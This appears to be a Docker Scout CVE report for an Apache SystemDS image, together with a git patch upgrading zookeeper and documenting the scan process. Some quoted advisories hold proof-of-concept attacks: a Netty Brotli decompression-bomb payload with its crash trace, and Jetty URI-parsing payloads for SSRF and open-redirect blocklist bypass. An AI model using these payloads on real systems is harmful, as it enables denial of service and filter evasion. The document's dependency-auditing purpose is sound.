CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.043%
EPSS Percentile13th percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.056%
EPSS Percentile17th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.034%
EPSS Percentile9th percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.923%
EPSS Percentile75th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile68th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 0 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.017%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.020%
EPSS Percentile4th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ From d92cdda944dfcc1292a0fc3dae16633183b240fd Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Tue, 6 Jan 2026 09:49:57 +0100 Subject: [PATCH 03/31] [MINOR][SYSTEMDS-3878] Fix CVE--2023--44981 org.apache.zookeeper critical vulnerability This commit fixes the Critical vulnerability of org.apache.zookeeper by updating the package from version 3.6.3 to 3.8.3. The package is backwards compatible and no build error have been identified from the change. The pom.xml file has been modified. Zookeeper is a transitive dependency used by spark-core and hadoop-common. Both use the vulnerable version of zookeeper. As such, the newer, less-vulnerable version has been explicitly imported and has been excluded from both other package to prevent them from using the older version. The sysds.Dockerfile file has been modified to make docker build from the filesystem rather than cloning from the latest git version that does not contain the changes. Spark-core and hadoop-common use a vulnerable version of zookeeper: https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-common/3.3.6 https://mvnrepository.com/artifact/org.apache.spark/spark-core_2.12/3.5.0 This solution was implemented as spark-core and hadoop-common do not show high-severity vulnerabilities and updating spark-core from a major version would have required many refactoring. --- docker/project_systemds-3878.md | 21 + .../scout_results/zookeeper/sysds_output1.md | 2831 +++++++++++++++ .../scout_results/zookeeper/sysds_output2.md | 2950 ++++++++++++++++ .../scout_results/zookeeper/sysds_output3.md | 3042 +++++++++++++++++ docker/sysds.Dockerfile | 13 +- docker/systemds-3878_summary-of-changes.md | 444 ++- pom.xml | 15 + 7 files changed, 9312 insertions(+), 4 deletions(-) create mode 100644 docker/scout_results/zookeeper/sysds_output1.md create mode 100644 docker/scout_results/zookeeper/sysds_output2.md create mode 100644 docker/scout_results/zookeeper/sysds_output3.md diff --git a/docker/project_systemds-3878.md b/docker/project_systemds-3878.md index 89917c18fa3..a216f0d4aab 100644 --- a/docker/project_systemds-3878.md +++ b/docker/project_systemds-3878.md @@ -57,6 +57,14 @@ This commit fixes the following vulnerability identified by docker scout cves: < ## Docker scout cves +### Usage + +``` sh +docker scout cves --details --format markdown -o docker/scout_results/sysds_outputX.md --epss apache/systemds +``` + +To identify tricky packages, using the json output with `--format sarif` helps by showing the path to the vulnerable package. + 1. build systemds project \ @@ -89,7 +97,20 @@ This commit fixes the following vulnerability identified by docker scout cves: < +### Solve vulnerabilities + +By using the CVE code and reading the description, most vulnerabilities have solutions or workarounds. + +#### Upgrading the related package + +One way to solve a vulerability is simply to upgrade the package it happens in. + +> Sometimes, the package that raised the CVE is not included in the `pom.xml`. This can happen if the package is a dependency of another imported package. \ +> `mvn dependency:tree` (output can be found [here](systemds-3878_summary-of-changes.md#output-of-mvn-dependencytree)) shows all imported packages. + +### Inspection commands to find packages +[summary-of-changes.md](systemds-3878_summary-of-changes.md#toolbox) ### helloworld example diff --git a/docker/scout_results/zookeeper/sysds_output1.md b/docker/scout_results/zookeeper/sysds_output1.md new file mode 100644 index 00000000000..5459e985d51 --- /dev/null +++ b/docker/scout_results/zookeeper/sysds_output1.md @@ -0,0 +1,2831 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:d7762d7f8aa54d32e71d209c10ec84ebfc3d9721366ed576662afa24c6ac2bbe
vulnerabilitiescritical: 4 high: 29 medium: 36 low: 9 unspecified: 1
platformlinux/amd64
size362 MB
packages350
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.418%
EPSS Percentile61st percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a 